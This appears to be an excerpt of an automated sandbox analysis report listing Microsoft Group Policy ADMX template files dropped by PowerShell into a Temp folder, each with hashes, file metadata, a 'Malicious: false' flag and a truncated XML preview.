SSDEEP:	96:QeD/mDULovKnKBK/5vSmdQSmdMSNdVSNd4StdrSFlGwMkrYVHX1XSFlGwMkrYVHJ:vYS1Mu4otidMkrY3QdMkrY369e
MD5:	D14836FA3C9C54F7ED08F1DCD929C903
SHA1:	A35B45D34E27C2ED798A1BD6090EA23792EC5C71
SHA-256:	F7CA967995175C01E9356A90C2022C5C10BB505A391450F785DF5F3EAB241635
SHA-512:	C75BB7899CAAF7845D1842733BFA0B0926409A88EC72386509C2B38E6DDE8F8C1E1C5587A479F61A07C382750187ECE2BE89E4D03F814DC1ACEBCF618EA36E7A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="dwm" namespace="Microsoft.Policies.DesktopWindowManager" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="CAT_DesktopWindowManager" displayName="$(string.CAT_DesktopWindowManager)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="CAT_DesktopWindowManagerColorization" displayName="$(string.CAT_DesktopWindowManagerColorization)">.. <parentCategory ref="CAT_DesktopWindowManager" />.. </category>.. </categories>.. <policies>.. <policy name="DwmDisallowA

C:\Users\user\AppData\Local\Temp\file\Resource\Desktop.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	13734
Entropy (8bit):	5.186162827486223
Encrypted:	false
SSDEEP:	384:nsjhVKOutXqzs0oEDdxjOlE2VPqS55vERN+IlcdKpI87E7EU0Fh49MOwgU5:stoVtuNPZF2lVPR9iN+2bn
MD5:	C0A31C6C80DFAC55C02D86939AC64921
SHA1:	62BEA41DCD0249FFED1B4BB0032EF059E4E51256
SHA-256:	273F86DA68FE2917CC3B1E0B60B2657B2EEB005E03517CE93C8A02FD38666366
SHA-512:	86121FB1459A319D005AB2C4031A7FC70CC9529772BC3B2415D1DA91FB68365EE447BD6A4134BF3792B90C6044F0061480A54CD48D5806271D445CC32C25D6CD
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="desktop" namespace="Microsoft.Policies.WindowsDesktop" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="ActiveDesktop" displayName="$(string.ActiveDesktop)">.. <parentCategory ref="windows:Desktop" />.. </category>.. <category name="ActiveDirectory" displayName="$(string.ActiveDirectory)">.. <parentCategory ref="windows:Desktop" />.. </category>.. </categories>.. <policies>.. <policy name="ForceActiveDesktopOn" class="User" displayName="$(string.ForceActiveDesktopOn)" explainText="$(st

C:\Users\user\AppData\Local\Temp\file\Resource\DeviceCompat.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1778
Entropy (8bit):	5.123741024741216
Encrypted:	false
SSDEEP:	48:3geDw08gmDUfKofHKnKYQ5p5HrVWNuJH+VWa:QeD/mDUCovKnKl5DHQN0HLa
MD5:	0E33AAB976A95C6AC1816E655FB2F235
SHA1:	424EEBAA9973AFC91839AA5B8A7D860CE7AEEB42
SHA-256:	C33E353235923157734EAD703C56FE926AFDB855DE3F73EEDA38DE3F8EF0A920
SHA-512:	F7F9753141AA4EB7750C7D22B0E8FA904A98C5D518F8B027D151951DADE23D4E9781FA000E5E1257C36C1F5CB44FA4112747AAEB221BE5667AA2E78458F1DDA1
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="devicecompat" namespace="Microsoft.Policies.DeviceCompatibility" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="DeviceCompat" displayName="$(string.DeviceCompat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="DeviceFlags" class="Machine" displayName="$(string.DeviceFlags)" explainText="$(string.DeviceFlags_Help)" key="System\CurrentControlSet\Policies\Microsoft\Compatibility" valueName="DisableDeviceFlags">.. <parentCategor

C:\Users\user\AppData\Local\Temp\file\Resource\DeviceInstallation.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (353), with CRLF line terminators
Category:	dropped
Size (bytes):	13015
Entropy (8bit):	4.995281495498216
Encrypted:	false
SSDEEP:	384:o4W9TP+lHHPNNZ8fONothOLbNXCrMNWx/ODQhNDcBW0aEMXMEFARMKvVYr4C:MDKuOLFS0nRxnC1GeaYEC
MD5:	71DBAEB7EB27FFC47DD10614A672EC74
SHA1:	FD6426DDAFCB4EBAB1B997A3B5DF85CFDC220CD7
SHA-256:	45BC5B0D29C5AA64003E2A2ABA280028BDC218F07653AEACBF819B1F6132BD9D
SHA-512:	B6D85858021D5D76C593277FC7A9DB623A954FCD83A029F87506C480F95719F6CF5D3EB6779D5358A8C36282A07DEF44374F814BD1302F3FDBDB238BD27E342E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="devinst" namespace="Microsoft.Policies.DeviceInstallation" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="DeviceInstall_Category" displayName="$(string.DeviceInstall_Category)" explainText="$(string.DeviceInstall_Help)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="DriverInstall_Category" displayName="$(string.DriverInstall_Category)" explainText="$(string.DriverInstall_Help)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="Device

C:\Users\user\AppData\Local\Temp\file\Resource\DeviceSetup.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (357), with CRLF line terminators
Category:	dropped
Size (bytes):	7554
Entropy (8bit):	5.035470714959613
Encrypted:	false
SSDEEP:	96:QeD/mDIkoys5q0DUodcNUOdeNUBd0mwd1GaV1tgvdwgvdsOCpqC3wRCasRe0SU19:vYj4KNGlGId1GaVMtN9oFWelt11
MD5:	A9FCA136C33A62A61E1155F46E132AA9
SHA1:	7BC2DABD4B6BF3917B05D5DE89050BEB388D2CD7
SHA-256:	1DE8513DC5F9B987198F70E77180CB6740F867D8A38210AC147D17061D9F0762
SHA-512:	2ACEF61DF531295C4F0F29AF2C441EBD1A03848D2C150214E03CDA0403D9E3E3ADBBA86A7F4E7EEB7985FA11DC14B98C36F386A6E71961F6C627858577936492
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="dsm" namespace="Microsoft.Policies.DeviceSoftwareSetup" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="devinst" namespace="Microsoft.Policies.DeviceInstallation" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="DeviceInstall_BalloonTips" class="Machine" displayName="$(string.DeviceInstall_BalloonTips)" explainText="$(string.DeviceInstall_BalloonTips_Help)" key="Software\Policies\Microsoft\Windows\DeviceInstall\Settings" valueName="DisableBalloonTips">.. <parentCategory ref="devinst:DeviceInstall_Category" />.. <supportedOn ref

C:\Users\user\AppData\Local\Temp\file\Resource\DigitalLocker.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1992
Entropy (8bit):	5.169883563197789
Encrypted:	false
SSDEEP:	48:3geDw08gmD8foofHKnK4Q5ZTmTVxf8O//hdZT5lTVxf8O//hq:QeD/mD8AovKnKF5ZahV8ORdZHhV8ORq
MD5:	B3B1BAB12CE011462C6057621C9E510C
SHA1:	1C024C39AE13C62B93CAFCD14CD85E5E3CE34B07
SHA-256:	91935922C819A55CC1BC397B27917CEF2D109E42852CC9FF4BE8A6160E6A98BE
SHA-512:	67F24EB4F64CF2FB8BF47DB0B715ED15E089C4BF80D0D3A16B1BAC80A6B6686AF3776F013ED1A4CDDD536171306EEB7914C00F8E517E1301BC0206745AE8E122
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="digitallocker" namespace="Microsoft.Policies.DigitalLocker" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Digitalx_GroupPolicyCategory" displayName="$(string.Digitalx_GroupPolicyCategory)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="Digitalx_DiableApplication_TitleText_1" class="User" displayName="$(string.Digitalx_DiableApplication_TitleText)" explainText="$(string.Digitalx_DisableApplication_DescriptionText)" key="SOFTWARE\

C:\Users\user\AppData\Local\Temp\file\Resource\DiskDiagnostic.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3034
Entropy (8bit):	5.332741373783983
Encrypted:	false
SSDEEP:	48:3geDw08gmDGfNofrBePKnKa55UvAv9h5wH41+Kv9hhv14Dv1Lv14Dv1M:QeD/mDGlomKnK25GAvVwH41fvNv14DvN
MD5:	70E2DDECF31D46426536AD6B5F766681
SHA1:	47A38A4362A3DACB6B7E07638EB1CC19A652CB81
SHA-256:	421446138D4390F212B5A3163F09026889AA2BD1002E254170D78AFB98575385
SHA-512:	E7423AA076DABDD2D482A5E935A4CB4E49AC8612F249A2CE907433A6C1A3A9B9ACD6D98E36E9A2C4622863F12D4585CCE764E509E3F5D5DA9B3A5C77C63B9D5A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="diskdiagnostic" namespace="Microsoft.Policies.DiskDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. <definition name="SUPPORTED_WindowsLonghornServerDesktopExperienceOrVista" displayName="$(string.SUPPORTED_WindowsLonghornServerDesktopExperienceOrVista)" />.. </definitions>.. </supportedOn>.. <categories>.. <category name="WdiScenarioCategory" displayName="$(string.WdiScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <pol

C:\Users\user\AppData\Local\Temp\file\Resource\DiskNVCache.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2758
Entropy (8bit):	5.110020137300313
Encrypted:	false
SSDEEP:	48:3geDw08gmDZffn7ofHKnKg25r5uUxjbNUEUujbNNOUFjbN0oUlQjba:QeD/mDZfTovKnKV54UlNdU8NwUhNlUEa
MD5:	D68AF630CA5263C33A5ED24F9B836A06
SHA1:	F808BE411D11984410D172189AA115B6306B7478
SHA-256:	EADD8E9BEE9FE5E5D432FD4D95E365EBFC02E38C80C7C02E1A4D73EB8A1FF16B
SHA-512:	F020159B0271E40D33BF42C9B1BF770F0729968416D4B88A926F5B10ADA48EC3A0C913A910B0C7BF60CE3F4F183BFB4C958FC0419E5781C1F1D757C5C06DFEB4
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="disknvcache" namespace="Microsoft.Policies.DiskNVCache" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="NvCacheCat" displayName="$(string.NvCacheCat)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="BootResumePolicy" class="Machine" displayName="$(string.BootResumePolicy)" explainText="$(string.BootResumePolicyHelp)" key="Software\Policies\Microsoft\Windows\NvCache" valueName="OptimizeBootAndResume">.. <parentCategory ref="NvCacheCat" />

C:\Users\user\AppData\Local\Temp\file\Resource\DiskQuota.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (309), with CRLF line terminators
Category:	dropped
Size (bytes):	6123
Entropy (8bit):	5.033540909765389
Encrypted:	false
SSDEEP:	96:QeD/mDvhovKnK55lfJdiTf8dbuDwdPpPaBPFzPr1EwfpdE4fVdxfS:vY5G3Y8ddPpPkPBPrWek2pS
MD5:	E3D825A99381831BFAD9BCFB9477F6DD
SHA1:	D2100765F83B70F2039DE139ABC45864C0FFFC85
SHA-256:	8DDA73F3DE296250CA69B04A518B848B43DF3C3AC50498C12A40A6CE51732CA0
SHA-512:	4EABBDB1339300000C2DADAFCDB46504AF563E91F77B4B937B8D4C7571FB118897C2967D9A587A55344CAA9D0DB68B79099741E98A13B134D1633382ADF32551
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="diskquota" namespace="Microsoft.Policies.DiskQuota" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="DiskQuota" displayName="$(string.DiskQuota)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="DQ_Enable" clientExtension="{3610eda5-77ef-11d2-8dc5-00c04fa31a66}" class="Machine" displayName="$(string.DQ_Enable)" explainText="$(string.DQ_Enable_Help)" key="Software\Policies\Microsoft\Windows NT\DiskQuota" valueName="Enable">.. <parentCategor

C:\Users\user\AppData\Local\Temp\file\Resource\DistributedLinkTracking.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	989
Entropy (8bit):	5.2736166967917555
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKt06fYX0s6fE3+ZKjcpwoXV/NSw9qOW:3geDw08gmDEfYXofT5BXn79q7
MD5:	41397109EB474F1C8AA197E8936CDAC4
SHA1:	216F526B6211CCFE0D6B2401284E66A926AFBB60
SHA-256:	835AEE3D0B5EEFB488178BE0A1A8E01CCAA222252DE2A74B447A2B79F1E88EF8
SHA-512:	658381787613221C7F3DA6DAC0B233EFD959875A28B83B1621A4FBADBBECA319530E6BCF3A7CB26A3BC51CB7F3BD41367167FF7EE096D2BFD6A24DD67F008920
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="distributedlinktracking" namespace="Microsoft.Policies.DistributedLinkTracking" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="DLT_AllowDomainMode" class="Machine" displayName="$(string.DLT_AllowDomainMode)" explainText="$(string.DLT_AllowDomainMode_Explain)" key="Software\Policies\Microsoft\Windows\System" valueName="DLT_AllowDomainMode">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_WindowsPreVista" />.. </policy>.. </policies>..</policyDefinitions>..

C:\Users\user\AppData\Local\Temp\file\Resource\DnsClient.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (335), with CRLF line terminators
Category:	dropped
Size (bytes):	13460
Entropy (8bit):	5.095676944099727
Encrypted:	false
SSDEEP:	384:6ex+zeBWHwSSeBLcUxTyR6hcwfnc+yrc9GrcQRcfZOrZDwbukvttZNmEi8siqVx4:xIaYQtZa4yctYAYQOqkI8s/U
MD5:	BB56015F7F3EBF5C9BF38E0EE2B85245
SHA1:	538FC6652CB865EDD5FBCBBDC1FA34AC7AEDBF62
SHA-256:	5DB2C861716E01516CDC0813F8717C99D5D44A4E6811DF01983B7B12690B1999
SHA-512:	38C313AD4044EB506A45FF97E5A9B77CF644F97069AD10D569766740251108926668E8CC7F69DE5AB16B9E277B742837BF2809818E0698E6568DDE71F7038DE5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="dnsclient" namespace="Microsoft.Policies.DNSClient" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="DNS_Client" displayName="$(string.DNS_Client)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="DNS_Domain" class="Machine" displayName="$(string.DNS_Domain)" explainText="$(string.DNS_Domain_Help)" presentation="$(presentation.DNS_Domain)" key="Software\Policies\Microsoft\Windows NT\DNSClient">.. <parentCategory ref="DNS_Client" />..

C:\Users\user\AppData\Local\Temp\file\Resource\EAIME.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (352), with CRLF line terminators
Category:	dropped
Size (bytes):	5711
Entropy (8bit):	5.146796063672455
Encrypted:	false
SSDEEP:	96:QeD/mDV7LovKnKf5C7PdMchINyLV9hGxNL72NOK7abN17wNbNLTl3ywChsQ1XpnJ:vYh62qmvo/oimnCyQ7pPExQ
MD5:	CB4F11A08FBCC2EE9A0AB1AB97B0FEEC
SHA1:	BA706F13EDC145FD7D41171A004CF9E689DFA157
SHA-256:	5C80393260F7F377015E9EF675DFB0F77EAC6BC5D7E2F2F1757D2A100B741CDC
SHA-512:	AC383989BA234B4CC08DEE0FCC02597E1A4D275E855D922A94CA48A7F9EB4E87CD49644C07C57E0DAB3BC4CFEE5690601B59125E675A82654D7FB53A09A3E33C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="ime" namespace="Microsoft.Policies.IME" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="L_IME" displayName="$(string.L_IME)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="L_TurnOnMisconversionLoggingForMisconversionReport" class="User" displayName="$(string.L_TurnOnMisconversionLoggingForMisconversionReport)" explainText="$(string.L_TurnOnMisconversionLoggingForMisconversionReportExplain)" key="software\policies\microsoft\ime\sha

C:\Users\user\AppData\Local\Temp\file\Resource\EarlyLaunchAM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (304), with CRLF line terminators
Category:	dropped
Size (bytes):	1881
Entropy (8bit):	4.912957497971267
Encrypted:	false
SSDEEP:	24:g1Ktca0s6fE3+dK9lKsOpKjcpMDJVGnCGj6owzCGNSJu/0MN3:QIofHKnKs25eDbuCu6owzCX03
MD5:	E6C31F2356A76ADBB97A811675510CE9
SHA1:	9FF66DCD957443DF008895B60520EB5C1993EE5B
SHA-256:	70CDA38C29828A70A83329D193290DB5DF3F916C463CA266DEEEE49B80E76CE5
SHA-512:	55918C7DC5E493D0573B1FD0F579E9170FFECA9E669C928F69F7612CCC6DAF2561AB0C8A813CFC4FBC0CEA0C751573AEA902B862A2A9E327F141B30C0855DF02
Malicious:	false
Preview:	<policyDefinitions revision="1.0" schemaVersion="1.0">.. <policyNamespaces>.. <target prefix="fullarmor" namespace="FullArmor.Policies.0EF0F32B_7305_4FC7_BBEB_D43DCC622C81" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="ELAMCategory" displayName="$(string.ELAMCategory)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="POL_DriverLoadPolicy_Name" class="Machine" displayName="$(string.POL_DriverLoadPolicy_Name)" explainText="$(string.POL_DriverLoadPolicy_Name_Help)" presentation="$(presentation.POL_DriverLoadPolicy_Name)" key="System\CurrentControlSet\Policies\EarlyLaunch" valueName="DriverLoadPolicy">.. <parentCategory ref="ELAMCategory" />.. <supportedOn ref="windows:SUPPORTED_Windows8" /> .. <elements>.. <enum id="SelectDriverLoadPolicy" key="System\CurrentContro

C:\Users\user\AppData\Local\Temp\file\Resource\EdgeUI.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3751
Entropy (8bit):	5.148892976096571
Encrypted:	false
SSDEEP:	96:QeD/mDjPovKnKN5fJtdMJTdtDJ0dsPJpdFJ8dGoCfJ2ES:vYb0TgRtRvZ+
MD5:	7299F33E3FDB759ED8FA74CBA1BC913F
SHA1:	1C2B4530E470C88A9A17B98F73A260B5E1A69EF0
SHA-256:	3F8BE4FAAD953867B5F67D1C9F95349049AC50A647567AF2A5508758B9D8A8E4
SHA-512:	98C4FB2F9C74F1D624A2443CB4CBEED90B426FB1557D859BA0DED1AEBF7B81D7441FAAED24E3CEF781A343C6879326351CCDA6DEF6CB6E04CF1D573186B49C5C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="edgeui" namespace="Microsoft.Policies.EdgeUI" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="EdgeUI" displayName="$(string.EdgeUI)" explainText="$(string.EdgeUI_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="TurnOffBackstack" class="User" displayName="$(string.TurnOffBackstack)" explainText="$(string.TurnOffBackstack_Help)" key="Software\Policies\Microsoft\Windows\EdgeUI" valueName="TurnOffBackstack">.. <parentCategor

C:\Users\user\AppData\Local\Temp\file\Resource\EncryptFilesonMove.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.2419997377636065
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtC6flai0s6fE3+ZKjcpkJ4gyJMJJqwV18uJOC9Q:3geDw08gmDoflaiofT5+J4gyJMJJTIuS
MD5:	31942EAEF2EFDEA2A276A86CC6882C6A
SHA1:	D9ADA8DEA0D272B3EE51A10E67A98C1D2ED00159
SHA-256:	C51B598CB8EAC30D15351E35DF70A9EDB42A0948AE4A19D304C1C8C19B402C94
SHA-512:	9C9EF0778722C54314FE958AF39681444C147005414A24A99F26589F19F427FA51A38BCA39AE2C3B2B088915A14D5687061C10298F03351190B18B032247E144
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="encryptfilesonmove" namespace="Microsoft.Policies.EncrypedFiles" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="NoEncryptOnMove" class="Machine" displayName="$(string.NoEncryptOnMove)" explainText="$(string.NoEncryptOnMove_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="NoEncryptOnMove">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_Win2k" />.. </policy>.. </policies>..</policyDefinitions>..

C:\Users\user\AppData\Local\Temp\file\Resource\ErrorReporting.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	26372
Entropy (8bit):	5.01226415631576
Encrypted:	false
SSDEEP:	768:+vb9Noh3fDMGMO3d0OqLO0RKxTbUKHUKP+F+OU4bU4C:+vb9NotfDMGMO3yO+O0RiTbUKHUKP+Fk
MD5:	6F7FECC9C2B18D1179C12936BDBA43CD
SHA1:	32D51F128D17F0BAAFE4356D2FDAABE6AFAB1DA5
SHA-256:	24C0CA3EA4CAD62A89EAF2F68797D2E4581338F9833511D6649734549BCAC591
SHA-512:	A39E60114E66D1EB5032A2E93AB55E13DA27F37383206252B047D1536498CCBAB7679E005AF9CE5CB36BB85257293EC4741E751624EE664E8235BB7D5CBD7A3B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wer" namespace="Microsoft.Policies.WindowsErrorReporting" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="CAT_WindowsErrorReporting" displayName="$(string.CAT_WindowsErrorReporting)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="CAT_WindowsErrorReportingAdvanced" displayName="$(string.CAT_WindowsErrorReportingAdvanced)">.. <parentCategory ref="CAT_WindowsErrorReporting" />.. </category>.. <category 